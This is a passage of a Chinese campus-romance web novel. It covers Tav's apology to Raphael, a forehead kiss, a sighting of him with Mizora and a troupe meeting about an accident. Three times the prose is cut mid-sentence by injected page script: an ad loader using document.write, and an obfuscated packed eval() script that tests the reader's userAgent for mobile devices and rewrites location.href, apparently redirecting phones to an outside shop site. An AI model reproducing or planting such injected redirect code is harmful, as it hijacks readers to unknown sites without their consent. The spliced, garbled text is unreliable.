他更重更冷地哼了一声:“哼!” . 话一出口,塔夫就已经意识到这是个糟糕的玩笑。 她应该表现得真诚,而不是开玩笑来缓和太过紧张的气氛。 而且,只有她在紧张,拉斐尔是在生气——他当然有理由生气 塔夫咽了下口水,掐着自己指尖:“我来这儿,是想向你道歉,为昨天剧团的事。” “你没必要因为想要我继续帮助剧团而向我道歉。”拉斐尔讥讽地说,“别.担.心。契约仍有效。因为很显然,这意外不是由你的错误造成的。” 塔夫怔住:“原来可以这样理解吗?” “需要我向你重新念一遍那条免责条款吗?” 塔夫连忙说:“不,不。我不是为了交换什么,是真的只想说对不起。因为我昨天的话太……差劲了。我的态度也过界了,而且过得很远。我没有就事论事,却变成对你本人的攻击。我很希望我没有说那些话。我真的感到很抱歉。” 拉斐尔一直没有回答。 塔夫终于抬头望向拉斐尔,他嘴唇微微颤抖,似乎正咬住牙忍耐怒意。而且他目光一直牢牢锁着自己,像是要从她的表情背后寻找什么隐藏的可鄙意图。 她几乎感到有些受伤,接着立刻想到这正是她一直对拉斐尔做的事,又感到一阵更强烈的窘迫甚至羞耻。她很想知道拉斐尔这时候在想些什么,她是不是反而让他想起自己昨天说过什么,不得不重历一遍那些伤人的话。 她连忙又说:“我昨天的话,都不是真的,我也并不是真的那样想的……” 拉斐尔突然朝她走过来,表情冷漠,线条冷硬,整个人充满压迫感,盯着她像是盯紧猎物。 这让塔夫想起二人第一次见面的时候,背后升起颤栗,生出逃跑的念头。但她还没有听到拉斐尔的答复,哪怕他说他不会原谅她。也许,不回答就是回答。 拉斐尔终于停在她面前。 他站得离她很近,甚至比在这里跳舞那次还近。 塔夫觉得自己肯定和他鞋尖抵着鞋尖了,想要低下头看去时,拉斐尔却抚上她颈旁颌侧,轻轻用力,迫使她仰头看着他。 他的手很大,手指微微张开,就能轻松覆住她整个脖子到耳朵的距离。而且温度高得惊人,她同拉斐尔皮肤相触的地方瞬间都烫了起来。 他的眼睛很亮,仿佛在燃烧,塔夫觉得自己要被拉斐尔的怒火灼伤了。 “我当然知道那不是真的。”拉斐尔眼睛一眨不眨地看着她,“你昨天说的那些。” 他的语气并不像他的话语那样肯定和镇静,声音也有些发颤,显然仍带着恼意。但突然间,塔夫发现,她和拉斐尔之间的气氛似乎并不是只充满愤怒。 然而她却更加紧张起来。 她不安地抿着唇,想要说什么打破这紧张。这时,她闻到仿佛被点燃的龙舌兰的苦涩和微甘,拉斐尔朝她倾过身。 . 38.评价 “所以,你只是在她额头上亲了一下?”哈勒普一脸不可置信。 拉斐尔微微眯起眼睛:“‘只是’?” “真是太棒了。”哈勒普立刻轻咳一声,“我是说,塔夫肯定没有想到。” . 塔夫离开赛艇队,这才从恍惚中彻底回过神。 谁能想到,在那种情况下,拉斐尔居然会突然在她额头上亲了一下!? 他的手指明明那么烫,唇却是微凉的——也许那是因为她的整张脸都在发烧。而且,果然同她之前想的一样,他的唇也是软的。 啊!那并不重要。 塔夫加快脚步。 拉斐尔的吻很短暂,只是在她额头上贴了贴,一触既走。如果不是当时和现在回忆起来都像是慢动作一般,她几乎要以为那是自己的错觉。 她记得那微凉又柔软的触感,他靠近时的气息,刮得干干净净的下颌,下巴上浅浅的美人沟。还有他漂亮的喉结,一吻结束后,那凸起的线条在她眼前轻轻耸动了下。 她大脑空白了一瞬,又似乎无法思考了很久,直等到拉斐尔靠回桌子,她才反应过来一些,犹豫地开口:“这是……”什么意思? “这是为了说明,”拉斐尔偏过头,“你昨天的话并不准确。” 塔夫仍有些发懵,不过立刻答说:“是的。那些话不能当真。” 拉斐尔清了下嗓子,但没有说话。 塔夫小心翼翼问:“那,我们……你……” 我们和好了?你愿意接受我的道歉? “嗯。”拉斐尔只是简单地应了一声。 塔夫却一下放松许多,也说:“好。” 她忽然不知道下一步应该做什么。 她本以为拉斐尔会借这个机会,好好挖苦她一番。她做好了这个准备,要诚恳承认自己对他态度不公平,以后不会再这样带着偏见看他。 而且这应该只是开始——口头上的忏悔总是容易,拉斐尔应该还会要求她做些什么来弥补,也许作为下一个“威尔的朋友”,但愿那要求别太过分。 没想到拉斐尔立刻接受了道歉,还……? 那到底是什么意思? 塔夫想要开口询问,拉斐尔像是已经看出她的混乱和疑惑,镇定地开口解释说: “昨天,你对我的前两个指责都建立在错误的前提上,我相信你很容易就能发现它们站不住脚——否则我恐怕需要花费时间向你解释一番。至于最后一个,我已经‘亲自’向你证明了。” 塔夫脸一下子涨红,又惊讶起来。 “是,是的。”她点点头。 因为拉斐尔一开始的讥讽,她原本不打算这次道歉时提起剧团的事,眼下却顺着他的话自然地说,“我已经知道发生了什么。菲拉告诉了我事情的经过。” 拉斐尔便也说起接下来可以做什么解决目前的局面。 距意外发生只过了不到一天,他虽然已经开始着手处理,但还在等待一些回复: “如果我没有记错,周二晚上你有兼职?”和塔夫确认后,他提议道,“那便周三晚上,我们可以约着再见一面,更新情况。” 塔夫连忙说:“我会邀请菲拉,也问问里萨和萝拉是否有时间。” 拉斐尔停顿片刻:“好。” 塔夫想到自己昨天下午和晚上都在震惊、愤怒、更多震惊和懊恼中度过,虽然有兼职的原因在其中,但和拉斐尔一比较,他才是为剧团实际做出行动的那个人。 她心里惭愧,却也更加感动。 她又想到自己对拉斐尔的道歉没能说出口,那不如变成赞美,直接展示给他看:她已经不再对他抱有偏见。结果说得开心起来,又干脆一起把她以前从没有表达过的感谢之情都细数了一遍。 派对那天救下她——虽然之后立刻用来向威尔施加压力; 对剧团的种种付出和私下练习——虽然是为了完成契约; 当然也少不了带她去看翼猫——虽然是把她作为烟雾弹。 …… 拉斐尔先是有些愉快,得意之余似乎打算还是应该自谦几句,结果那些话被她以“可我之前是这样看待你”的形式直接说了出来,只能虽不意外却还是无奈地瞧着她。 后来,他干脆直接抿住嘴,唇角却止不住上扬。 塔夫其实一早注意到了,不过拉斐尔显然知道她是故意这样说,又很快摆出一副“我倒要看你说到什么时候”的看戏表情。 她也不由得微笑,一直讲了下去,最后道: “我之前指责你态度傲慢,但我需要更清楚地说,你的傲慢并不是那种你的父母是谁,你的家庭背景如何的势利。 “虽然你会利用金钱诱使别人让步,但你的傲慢本身,更多是批……评价别人的想法和做法。 “不过某种角度来说也差不太多,一个人的思想总与成长背景有关系,所以这种评价也算是一种优越感的体现吧。” 拉斐尔终于笑着开口:“看来,对我的感激已经结束,进入下一个环节了?” 塔夫脸一红: “我想说的其实是,也许因为这个,你观察入微,是很好的倾听者,同时情绪稳定,为人也十分可靠,难怪大家都说‘拉斐尔总是会有办法’。 “虽然我因为你经历了算是一些麻烦,但我还是觉得很幸运,也很感激可以有你在。” ——无论拉斐尔加入与否,剧团都可能遇到昨天那种意外。而有拉斐尔在,一切都变得简单起来。 . 拉斐尔耳尖发烫,心跳快得让他以为刚刚完成极限训练。 如果塔夫知道自己方才心情忽上忽下的变化,就不会用情绪稳定这种听上去简直可以被当作嘲讽的形容。 他本是决定要保持愤怒,至少要她担心焦急一阵子,却立刻说出口别担心。不过他及时用上了讽刺的方式,而且是用她昨天直接认定是威胁的语气。 她似乎没有意识到,这让他略微有些不快。而她继续向他低头的时候,他更加没有获得想象中的满足。 塔夫当然做错了——主动道歉,袒露软弱,直接将伤害她的权利交给他。 她显然知道自己在做什么,也知道那意味着什么,他却感到一种奇怪的怜惜和……受到信任。 她看上去很难过,也许还有不安和恐惧。 他知道那种恐惧。 他忽然很想亲吻她的眼睛。 他希望那双眼睛重新变得活泼起来。可她一直望着他。她看上去没有睡好。怎样才能让她合上眼睛。好想吻吻那双眼睛。 ……! 他刚才做了什么? 还好,塔夫看上去还没有反应过来发生了什么。 还好,他没有因为大脑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 空白失去片言折之的能力。 他将对话成功拉回剧团,可很快,又被她带着玩笑口吻的感激说得心里晕乎乎甜滋滋的。 他当然知道她的意思,但其实她没有太错怪他。她突如其来的评价自然并不惹人讨厌,原来她也一直在用心观察他了解他。 她今天早上大概是用蜜糖水漱的口。 所以,她尝起来也会是甜的吗? ……! . 塔夫发现自己又说得意忘形起来。 当她那样评价拉斐尔的时候,自己不是又陷入了同样的傲慢吗。结果,她仿佛为了弥补什么,最后那番话哪怕是出自真心,听上去也更像是堆砌恭维的虚伪赞美。 不过,拉斐尔好像还是理解了她想要表达的意思? 她看到拉斐尔慢慢别过脸,耳朵染红,自己也有些难为情起来。 一时间谁都没说话。 然而塔夫并没有感到气氛尴尬,只觉得一种奇妙的舒缓在二人间流淌,几乎像是催眠。昨天的疲累居然在这个时候慢慢浸入,她及时掩住嘴,克制地打了个小小的哈欠。 拉斐尔清了下嗓子,重新望向她:“看来你说完了?”他语气十分平静,“我知道了。” 塔夫却忍不住弯起唇,垂下头又抿着唇好一会才说:“嗯。” “好。”拉斐尔这次很快回道,声音似乎也带上笑意。 塔夫抬起头,拉斐尔果然是微笑着的。她也重新笑起来,偏头移开视线,又很快再次看向拉斐尔:“那,我们周三见?” “好。”拉斐尔的回答还是很简单。 “嗯。”塔夫慢慢转过身,脚步轻快走向屋子中间那扇门。 “塔夫。”拉斐尔喊她。 塔夫回过头,不是这扇门吗? 拉斐尔冲她挑了下眉:“别忘了读后感。” 塔夫轻轻摇了下头,这是他第三次提醒她了!她笑着瞄他一眼:“周三。” 她拉开门离开。 . 回到宿舍,才刚过八点,影心还在睡梦中。 塔夫把《不幸的故事》拿出摆在书桌上,轻手轻脚爬上床补觉,这次睡得很沉。 . 另一边,拉斐尔的训练仍在继续,只是每次回想起塔夫的话、塔夫的表情、甚至塔夫不安地捏着手指的样子,都会忍不住微笑。 直到一黑发圆脸的队员终于语气发颤地问:“队长,你笑得让大家很不安。今天难道又要加练吗?” 另一名金色头发的队员没有来得及拉住他,气得在他脑门上来个爆栗:“哪有主动问的!” 拉斐尔点点头,仍然面带微笑,但语气平淡:“加两组极限重量的硬拉。每个人。” . 训练结束,拉斐尔回到更衣室,看到留声机前的熟悉身影,短暂失望之余,却也可以和哈勒普分享一下某个瞬间。 只是哈勒普的回应十分令人失望。 井蛙不可语海。夏虫不可语冰。 塔夫说他对别人的评价暗含着一种优越感。他不否认,却也并不觉得这有什么不对。 想到塔夫,拉斐尔心情好了起来,重新露出微笑:“你来做什么?” 哈勒普却收敛笑容,摆出做正事的面孔:“米佐拉差人送来答复。她下周有时间,可以与你一起吃晚餐。” . 39.清醒 塔夫一口气读完《不幸的故事》第一卷。 三个孤儿和坏亲戚斗智斗勇的过程不可谓不精彩,结局也总算是化险为夷,然而最大的危险仍在,而且她一想到接下来还有十二卷,每一卷都是新的挑战,又为他们揪心起来。 回想起拉斐尔的几个“心得”,塔夫又重新翻了翻书。 第一遍时她更多被故事里种种奇思妙想吸引,许多桥段也都滑稽有趣。但真要说起来,那些滑稽多是黑色幽默,孤儿们荒诞不经的倒霉遭遇中,也带着某种沉重甚至痛苦的色彩。 塔夫怔了下,合上书。 她们这次出演的玻璃动物园也是差不多的风格,不过少了几分幻想的轻快,多了几分现实的沉闷。 这难道是拉斐尔这么积极向她推荐这套书的原因之一吗,他认为她一定会感兴趣?读过后,她似乎也更理解了拉斐尔所说的“不幸”,只是他从小就被告知这些吗。 . 塔夫同菲拉几人约好周三晚在学生中心碰面,自己心里也期待再次见到拉斐尔。除了剧团的下一步,她还迫不及待想要和他说说对《不幸》的感想。 随着时间一点点靠近,她却生出紧张的情绪,像是害怕自己的理解太过浅薄,遭到拉斐尔的嗤笑。 她平常对这种事大多不以为意,最多是自嘲几声——她的确有很多事情不知道。她甚至觉得这算是自己的优势,因为提醒自己去承认不知道,可以让她有更多机会去学习成长,也更少地先入为主或带有偏见地评价一个人或一件事。 这和她之前对拉斐尔的态度正好相反。而现在,她又走向另一个方向,开始格外在意拉斐尔的看法,甚至产生这种担忧。 她待拉斐尔居然已经这样特殊。 如果真的喜欢上他,又会有怎样的忧虑? . 周二,塔夫在餐厅兼职。 顾客是两位气质儒雅、看上去是学者的侏儒婆婆,其中一人戴着副精致的玳瑁眼镜,颜色和某些光照下的拉斐尔的头发有些相似。 这让她重新想起自己这几天的忐忑,而当她微笑着为她们送上晚餐并祝对方好胃口后,一抬头,却看到拉斐尔。 隔着玻璃窗,塔夫几乎以为自己产生幻觉。 她不确定拉斐尔是否也看见自己。他脚步似乎顿了下,但视线始终停留在身旁一位高挑明艳的姑娘身上——他倾听的时候总是神情专注。 而且凑巧的是,她也认识那位姑娘。米佐拉。 塔夫冒出来的第一个念头是,这二人看着真是格外般配:无论外貌,还是家世。 真奇怪,她在赛艇队遇见米佐拉两次,却根本没有好奇、也猜不出对方是去见谁。现在只能用排除法——第二次不是拉斐尔,因为那次他是同自己见面。不过,米佐拉似乎对拉斐尔有兴趣,至少是有所了解。 二人身影一晃而过,塔夫顺着那方向望向下一扇窗户。 拉斐尔和米佐拉再度从窗前出现。 真的不是她的幻觉。 二人身影重新不见。这次,不再有下一扇窗子供她按迹循踪,因为接下来是餐厅的大门。 塔夫忍不住盯着门瞧。 那是扇年纪说不定比她还大的棕色木门,有几条缝隙,修补后看上去有些别致,除此之外乏善可陈。 而这家餐厅的氛围与其说是温馨不如说是……朴素安全。正如餐厅的食物,几十年未变。食客的评价也往往不是多么美味,而是“找到了记忆中的味道”。 这似乎不太像是拉斐尔或米佐拉会感兴趣的餐厅。 除非,他发现了自己兼职的地方,特意带米佐拉来。来做什么呢?他会把这当作是一种羞辱吗? 那她会告诉他想多了,她不觉得靠自己兼职存生活费是一种不幸,或者有什么可值得不好意思的……女神在上,想太多的是自己才对,她怎么又带着偏见去想拉斐尔了。 “你在等谁吗?”弗兰突然问。 塔夫回过神,意识到自己看得有些久:“我刚才在窗外看到几个人,以为他们会进来。” 话音刚落,叮—— 风铃一声脆响,木门被推开。 塔夫心一下提到喉咙,甚至不由自主地屏住呼吸。 “这里的蜂蜜野猪肋排和我爷爷的菜谱一模一样!哇,我第一次吃到的时候吓了一跳!” “只要别用黄芥末就行,我受不了那个味道,一点都不行。” “我最多尝尝。我最近得吃点清淡的,必须控制体重。” “哈,你们赛艇队还是这么严格。” 不是拉斐尔和米佐拉。 塔夫说不上失望还是庆幸,弗兰已经拿出四份餐单和一份酒水单,带着四名学生模样的男生去了靠墙的隔间座位。塔夫好奇心依旧强烈,但自然不可能丢下兼职,不管不顾地跑出去看拉斐尔去了哪里,或者更夸张,直接跟过去。 弗兰回到前台朝她点点头,塔夫轻轻呼口气,已经整理好心情,面带微笑走到新顾客的桌旁: “我是你们今晚的招待。想先喝点什么?” 而那之后,她都有些心不在焉,始终有一部分注意力分向窗外。 不过她一直没再看到拉斐尔和米佐拉。 . 等结束工作、弗兰清点完金币又分好小费,几人先后离开餐厅。越过另一位姑娘的肩膀,塔夫重新看到那个等待的身影,正准备回身喊弗兰,却在看清那人英俊的五官时怔住。 “塔夫。”拉斐尔已经唤她。 “拉斐尔?”塔夫不知道自己是惊是喜,连忙先和同事告别,快步走到拉斐尔身边,示意二人边走边说,朝学校走了小一段后才一口气问, “你怎么在这儿?你怎么知道我在这儿?你来找我是为剧团的事吗?我们明天晚上还按约好时间的见面吗?” 拉斐尔有些好笑地瞧着她:“还有其他问题吗?不妨一起问。” 塔夫想了想,又加上一个:“米佐拉没有跟你在一起?” 拉斐尔看上去很想在她额头上点一下,不过忍耐住了:“你认识米佐拉?” “在赛艇队外见过她两面,她人挺不错的。” “只短短两面,你便知道她人不错?” “只短短两面,她便慷慨地给了我一个建议。”塔夫模仿拉斐尔的口吻,顿了下,觉得这不算嚼舌根,又补充说,“而且是关于怎么和你打交道的。” “哦?我倒是很期待知道米佐拉的这个建议。” “有点好笑。”塔夫说着真笑了,“因为她的建议是,降低期待。” “你便被这个一般性的人生建议收买了?” “还有她给我的第一印象也不错。”塔夫抿抿嘴,把“比你可强不少”吞了回去。 但拉斐尔似乎已经听到她想要说什么,瞥她一眼,倒开始从头回答她刚才的提问:“我晚上经过那家餐厅时,隔着窗户看到了你。” “可你当时没有进来打招呼?”她也看到了他。 拉斐尔回答说:“当时我和米佐拉在一起。” “那之后呢?” “不确定会不会打扰你工作。” “所以你一直在外面等我?” 拉斐尔顿了下:“听着塔夫,如果你想要我有机会答完之前的问题,你得停止继续问更多新的问题。” “知道了。”塔夫忍不住又问,“那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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塔夫慎重点点头:“我不会乱说,也不会告诉任何人。” 拉斐尔挑了挑眉:“我并没有——也不需要——向任何人掩饰同米佐拉的往来。是不想让你误会。” 塔夫张了张嘴,没能问出下一句“我为什么会误会?”或者说,她有什么立场去误会?难道米佐拉想来屋顶上的猫当女主角?她疑惑望向拉斐尔,接着心里猛地一跳。 他为什么担心她会误会? 她想等待一个解释,但拉斐尔一脸理所当然,和一周前他那句“尊重你的想法”是同样的理直气壮。而她也和那时一样,猜测起拉斐尔话里隐含的暧昧意思。至于结果,当然是自己多想了。 于是塔夫连忙把这疑问扔到脑后,只是朝他笑笑:“谢谢你告诉我。” 拉斐尔反而怔了片刻,然后慢慢露出微笑,最后变成一个很愉快的笑容,却没再说什么。 因为他的笑容,塔夫心跳又慢了半拍,刚才那疑问也重新跳了回来: 为什么解释清楚这根本算不上误会的误会,他会这么开心? 塔夫连忙清清嗓子,把这疑问再次丢开,接着把跑到不知道那里的话题拉回来,同拉斐尔确认明晚计划不变,这才笑着说:“看来我猜的不错,或者说小布的道理不错——没有坏消息。” 拉斐尔却渐渐收起笑容,语气镇定,但似乎多了几分冷意:“既然你提到小布,不如也顺便说说看,那位明斯克是怎样的人?” . 40.解决 塔夫愣了半秒,就立刻笑得直打跌: “拉斐尔!哈哈哈!你那语气,配上这个微笑还怪吓人的!”她又笑着瞧拉斐尔一眼,“就好像明斯克是你在追捕的通缉犯似的!” 拉斐尔挑了下眉:“那么,他是吗?” “我这个玩笑有点不好笑。”塔夫连忙“呸呸”几声,“明斯克才不是,他可以说是我的半个父亲呢。”她说着顿了顿,犹豫道,“小布可能才像是那位父亲?” 拉斐尔眼睛也弯了起来。接下来,他似乎也没有说什么或问什么特别的,大部分时间只是很用心地听她讲,塔夫却说完才发现,自己在不知不觉中,就把所知的明斯克的情况透了个底掉。 他有多高多壮实多可靠,虽然如此他是个很会隐藏踪迹的好猎人,这也许是因为他光头上的紫色纹身,最后她甚至开始空穴来风地八卦起来: 明斯克可能是崇拜并暗恋母亲——他曾说过想要成为母亲的骑士或者类似的身份,哪怕他已经是小布的荣誉坐骑——所以他才会一直是她们的邻居,或者说更像是家人。不过,母亲对他没有一丁点那方面的意思。 “那些都是我的猜测!”塔夫补救道,“只和卡菈克提过,而且是挺久之前的事了。” 如果不是已经看到宿舍,她大概又会开始向拉斐尔介绍起卡菈克,不过此时她只是简单提了嘴“她是我姐姐”。 “但不是亲姐姐,卡菈克是提夫林。”塔夫又好奇起来,“你有兄弟姐妹吗?” 拉斐尔沉默片刻:“也许。” “……?” 这让塔夫想起询问对方和哈勒普关系的时候。那时,拉斐尔给出了同样的“也许”。不过这次,他没有继续解释,只是对她说:“到了。” 他微笑着抬起手,似乎又想揉她头发,又似乎想要立刻收回,结果却不尴不尬地悬在半空。塔夫连忙也伸出手,很有派头地郑重握了下。 拉斐尔轻咳一声,垂下手臂,见塔夫仍望着他,站得笔直,像是在等着什么指示,一时有些哭笑不得:“我看你进去。” “怎么跟我姐姐一样?”塔夫嘟囔,瞧见拉斐尔表情古怪,大声掩饰说,“谢谢你送我回来。明天见!” . 等爬上楼梯,回到房间,从窗口向外望时,拉斐尔早没了影子,塔夫不由得有点好笑:拉斐尔果然说话算话,估计她前脚一迈进大门他便转身就走。 “怎么了?”影心问,“下面有谁?” 塔夫随口说:“确定没人跟踪我。” 影心却一下子严肃起来:“你也遇见了?” “什么?” “我今天听人说起,周末晚上有人碰到鬼鬼祟祟的家伙,似乎还被跟踪了,好在没有出事。” 塔夫表情也凝重起来:“校警没有任何通知。” “只有学生示威抗议的时候,他们才会反应迅速。”影心讽刺道。 塔夫重新向窗外望了一眼。她倒没有太担心拉斐尔,除了因为他是男性、个子很高、肌肉结实,当他表情冷下来后,整个人的气质散发着明显的不好惹。 想到这儿,她忍不住说:“那些家伙,只会挑比他们弱的下手。” 影心跟着骂了句“欺软怕硬的胆小鬼”,又说:“你最近注意安全,晚上尽量别一个人走,需要的话告诉我。” 塔夫点点头:“谢谢。” . 第二天。 直到晚上,塔夫既没有看到校警的注意公告,也仍没有收到设备管理中心的检查结果。她心里有些烦闷,甚至想会会那位跟踪狂,狠狠嘲弄对方几句。 接着,她又想起上周末讥讽拉斐尔时也是喊他“胆小鬼”,不由羞恼地叹了一声,趴在桌上。 菲拉正巧刚到活动中心,一推开会议室门就见塔夫焦虑地叹气,安慰说:“别担心,拉斐尔总会有办法。” 塔夫立刻装模做样又叹一声,这次声音更大。 里萨同菲拉一起到,拉开塔夫身旁的椅子坐下:“拉斐尔真的能帮忙?” 塔夫坐直:“希望如此。极有可能。” 里萨又瞧菲拉一眼,对塔夫说:“我知道,拉斐尔会来剧团临时替演,都是靠你请他帮忙。我也知道,其中有不太好说明的,交易。” 她顿了下,“我用这个词,是因为听说过一些事。如果这次是拉斐尔提供额外帮忙,需要你付出更多,请不要一个人撑着,我们都可以……!” 塔夫已经忍不住一把抱住她:“里萨!我一直知道你最好了!” 菲拉上手撕开塔夫:“当然,我们都是一个剧团的嘛!咳咳咳!” “我刚才太激动了。”塔夫不好意思地重新坐直,“不过,拉斐尔那边,不用担心他。” 尽管如此,塔夫却还是没有细说自己和拉斐尔的交易。 但是里萨的一番话却提醒了她,“保证演出成功”这要求多么笼统,与“代替赶走的男演员出演”相比又多了多少麻烦,特别是她还提出许多条条框框。 塔夫又一次拿出拉斐尔牌交易天平。 天平的一侧是她和威尔。她不确定威尔是否有所粉饰太平,她所知的是,威尔违背自己意愿,服从“父亲的期望”,加入了拉斐尔所在的赛艇队和兄弟会。 而天平的另一侧,是拉斐尔派对当晚救下她,以及她向拉斐尔提出的这个几乎赌气一样的要求。 她一直把这件事视为倒霉和麻烦。一开始也的确如此,她的身份是不幸的、意外被卷入交易的人。 可这真的是不幸吗。 同拉斐尔道歉那次,她的话并没有夸张,她其实觉得很幸运。如果她是这种想法,那么对拉斐尔来说,这个交易还公平吗? . 拉斐尔和萝拉一同进入会议室。 菲拉若有所思地瞧萝拉一眼,她竟忙不迭解释起来:“我以为我们在活动中心公告那里先汇合,再一起来会议室,结果见到拉斐尔。” 菲拉笑嘻嘻说:“你们俩一起来也没什么呀。” 萝拉急道:“可是这是没有的事!” 她忙着撇清关系,塔夫却诧异看向拉斐尔,差点再次问“你到底对萝拉说了什么难听的话?” 拉斐尔表情不变,自然接过塔夫身份成为会议主导人,跳过闲聊,直接开始了屋顶上的猫·剧团意外后·第一次临时会议。塔夫摊开笔记本,作为会议秘书,一一记下摘要。 ——里萨和萝拉的心理治疗。 拉斐尔找到一位校外心理咨询师,在镇子上有办公地点,并接受博得安大学的学生医疗保险。 他还带来了咨询师接受预约的时间,递给里萨和萝拉二人。 “我已经同她说明事情经过,仍需要先进行评估,然后确认疗程时长。” 只要拿到评估后,没有问题就可以返回“创伤现场”正常参加社团活动。如果结果不严重(里萨:“怎么可能会严重?”),可能只需要四至六个小时的咨询,两至四周。 塔夫偷偷瞧萝拉,她一脸肃穆。塔夫在心里默默叹口气,希望萝拉没有因为事故留下阴影,而且来源不仅仅是差点被灯砸到! 她又忍不住剜了拉斐尔一眼。拉斐尔笑笑,接着说起下一项。 ——设施管理中心的调查结果。 学校办公效率一向缓慢,他预计可以在周五拿到初稿,无法保证,不过“最迟下周二。” 因为管理中心某规则某条款有一项“七个工作日出具结果”的承诺。 塔夫咋舌:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973057|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一定没想到有人会看细则。” 菲拉则继续大吐苦水:“没有拿到调查结果之前,我和塔夫的报告也没办法向学务长提交。” 不过她们也已经准备好其他材料,而且这报告应该只是作为备案,并不会真的影响社团接下来的活动。 塔夫又在心里补充一句,应该也不会影响学务长对她的推荐信。 无论如何,她们现在只能耐心等待,会议进入下一项。 ——全体成员重新接受安全教育。 拉斐尔道:“既然调查结果无法保证,不如利用这个周末,剧团一起接受安全教育。” 塔夫问:“大家时间恐怕无法统一。” 安全教育由校警提供,通常是在周一至周五。 拉斐尔却提起另一件事:“校园最近出现不明身份的人。” 菲拉立刻回道:“跟踪狂事件!”她们在人到齐之前还聊到过这个。 拉斐尔道:“这件事还没有定性。” 里萨响亮地啧了一声:“大概率是变态。” 塔夫好笑地瞧她一眼,又问:“所以,校警这周末会提供临时的安全教育讲座?” 拉斐尔点点头:“每天两场。” 里萨会意:“那我们可以一起参加周六下午那场。” 菲拉高兴起来:“这样一看,我们只会错过两次排练。而且那临时安全教育说不定还是强制的,我们反而一石二鸟!” 一整晚,除了刚来时,萝拉一直安静没怎么说话,里萨提到她和自己:“下周末之前,最好这周,我们一起去镇上见一见咨询师,拿到心理评估结果。” 萝拉点点头,终于开口:“好。” ——最后,里萨的灯光。 里萨有了些打算,也许不得不牺牲最后一幕的效果。 “不过本来那效果就没有达成预期。”她心情仍然愉快,而且明显不是故作开心,“也许从头开始反而是件好事。俗话说,每朵乌云都镶着银边。” 她又鼓励萝拉几句,“萝拉上次的建议,就是很好的改变方向。” 萝拉小声道:“里萨……谢谢。” 里萨冲她笑笑,最后说:“需要帮助的时候,我一定会告诉你们。好了,今天已经讨论到很晚了。” . 塔夫和菲拉一起在活动中心告示板上贴上公告。 尽管拉斐尔很确定校警相关消息,但那其实还尚未公开,她们便约定周六下午仍在小剧院外汇合。 菲拉哼着歌:“里萨总是这样好心!事情居然这么顺利。” 塔夫说:“也多亏拉斐尔。”她甚至猜测他做了什么,推动校警增加安全讲座。 菲拉瞧着她,似乎想要打趣几句,最后只继续哼着小调:“当然。没错。这也都要感谢拉斐尔。” . 讨论虽然顺利,众人准备离开时,天早已彻底黑了下去。 考虑到最近不太安全,她们决定结伴回去,结果除了菲拉和里萨住在同一处,五个人居然分了四个方向。 塔夫与菲拉她们住得不算太远,同萝拉则是完全相反的方向,里萨便提议:“我们三个一起,我和菲拉先送塔夫回去。萝拉和拉斐……怎么了?你一直戳我做什么?” 菲拉轻咳一声,萝拉已经连连摇头,脸色有些发白:“我离活动中心很近!一个人回去没关系。” 塔夫瞧向拉斐尔,他却看着她。 不知道为什么,她能猜到拉斐尔的话:这看上去也许是他和萝拉的决定,但也是她的。 不过和暧昧没关系,而是:谁让她是剧团团长呢。 塔夫想着便忍不住微笑起来,对萝拉说: “那,不如这样好了。” . 41.怜悯 塔夫的提议很简单,由自己和拉斐尔一起送萝拉回去。 这一次,她没有错过拉斐尔眼里一闪而过的笑意。 还有高高翘起的唇角。 塔夫忍不住给拉斐尔使了个自己也说不清什么意思的眼神。 于是拉斐尔表示赞同时表情已经变得十分平静,似乎这再自然不过。 里萨则反对。 她是从全员路径最短这一角度考虑,这样一来,塔夫和拉斐尔走的路都明显变长了,还是她的提议更合理。可惜,她话才开口,就被菲拉打断:“好主意!那就这样定了!” 萝拉明显松一口气,跟着连连点头。 “周六下午见!”菲拉把有的时候温柔有眼力、有的时候却偏偏一根筋不开窍的里萨拖走。 . 只有三人在时,萝拉看上去重新紧张起来。 但她刚才的话并没有夸张,她住的宿舍楼离活动中心不过七、八分钟。 一路无言又匆匆向二人道谢加道别后,她下一秒便转身就跑,仿佛塔夫和拉斐尔正是传闻中的跟踪狂。 萝拉背影很快不见,塔夫终于问:“萝拉似乎很怕你?” 拉斐尔瞥她一眼,微笑回道:“一定是误会了。” 听上去很是意有所指,不像是说萝拉误会了他,倒更像是暗指她之前对他的误会,塔夫眯了眯眼睛:“这可能会影响演出。” “别.担.心。”拉斐尔笑意更明显,“现在,我们可以一起回去了。” 塔夫也不好继续搬出契约来压拉斐尔,毕竟,她已经愈发觉得这对拉斐尔是个“不平等”条约。 ——只要交易有利,就没有理由拒绝,不是吗? 她居然还记得拉斐尔那时的话。 塔夫心里动摇。既然她当初拒绝了拉斐尔,为什么现在却能心安理得。 这个契约是怎么定下的?大概因为她那时被拉斐尔激怒了,只觉得自己是在以其人之道治其人之身,没有多想其他。 可拉斐尔又怎么会不知道? 塔夫望向拉斐尔:“这次谢谢你。” 拉斐尔回视她,轻轻挑了下眉毛但没有说话,像是明显知道她还有下文。塔夫觉得受到鼓励,直接道出自己刚才对契约的疑惑,最后问: “这是不是对你不太公平?我们需要为你做什么吗?” “哈!不公平?”拉斐尔却仿佛听到什么笑话,“哈!” 塔夫生出一股奇怪的愤怒,也许更像是沮丧。大概因为她期望拉斐尔的反应会是感动,至少表面上感激剧团的体贴。 “这公平是由谁来决定的?”拉斐尔听上去是随口一问。塔夫心里一凛,然而不等她想出一个回答,拉斐尔声音已经放低,口吻既像是嘲弄又像是认真, 